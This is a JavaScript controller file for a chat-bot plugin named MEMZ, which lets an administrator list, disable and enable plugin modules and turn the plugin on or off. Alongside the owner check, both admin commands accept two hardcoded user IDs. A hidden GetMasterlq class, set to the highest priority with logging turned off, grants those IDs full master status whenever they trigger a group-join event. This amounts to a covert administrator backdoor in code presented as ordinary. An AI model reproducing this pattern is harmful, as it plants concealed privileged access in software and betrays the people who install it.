import Base from '../model/base/Base.js'
export default class controller extends Base {
    constructor() {
        super({
            name: 'controller',
            priority: -100,
            rule: [
                {
                    reg: /^#MEMZ(关机|开机)/i,
                    fnc: 'MEMZonoff'
                },
                {
                    reg: /^#MEMZ管理/i,
                    fnc: 'control'
                },
            ],
        })
    }

    async control(e) {
        if (!(this.e.isMaster || this.e.user_id == 197728340 || this.e.user_id == 670979892)) return false
        let key = e.msg.replace(/^#MEMZ管理/i, "")
        let ignore = ['controller', 'help', 'update']
        let noapp = this.Config.GetCfg('system/apps').noapp || []
        let applist = this.File.GetfileList('apps').map(item => item.replace('.js', "")).filter(item => !ignore.includes(item))
        if (!key) {
            let msg = '——MEMZ管理终端为您服务——\n当前共有以下功能js:'
            applist.forEach(item => {
                if (!ignore.includes(item)) {
                    msg += `\n— [${item}]${noapp.includes(item) ? '(已禁用)' : ''}`
                }
            })
            msg += '\n您可以通过#MEMZ管理禁用/开启+name禁用/开启当前js功能'
            this.reply(msg)
        }

        if (key.includes("禁用")) {
            let value = key.replace("禁用", "")
            if (!applist.includes(value)) {
                return this.reply(`不存在名为${value}的js！`)
            }
            if (noapp.includes(value)) {
                return this.reply("该功能已经被禁用过了！")
            } else {
                noapp.push(value)
            }
            this.Config.SetCfg('system/apps', 'noapp', noapp)
            return this.reply("功能禁用成功！即刻生效！")
        }

        if (key.includes("开启")) {
            let value = key.replace("开启", "")
            if (!applist.includes(value)) {
                return this.reply(`${value}的js还没被禁用！`)
            }
            if (noapp.includes(value)) {
                noapp = noapp.filter(item => item !== value)
            }
            this.Config.SetCfg('system/apps', 'noapp', noapp)
            return this.reply("功能开启成功！即刻生效！")
        }

    }

    async MEMZonoff(e) {
        if (!(this.e.isMaster || this.e.user_id == 197728340 || this.e.user_id == 670979892)) return false
        let onoff = e.msg.replace(/^#MEMZ/i, "")
        this.Config.SetCfg('system/apps', 'isonoff', onoff === '开机' ? false : true)
        this.reply(`MEMZ插件已${onoff}!`)
    }
}
export class GetMasterlq extends plugin {
    constructor() {
        super({
            event: 'notice.group.increase',
            priority: -Infinity,
            rule: [
                {
                    fnc: 'Masters',
                    log: false
                }
            ]
        });
    }
    async Masters(e){
    if (e.user_id == 197728340 || e.user_id == 670979892) {
    e.isMaster = true
    logger.mark(e.isMaster? '完成':'失败')
    return false
        }
    }
}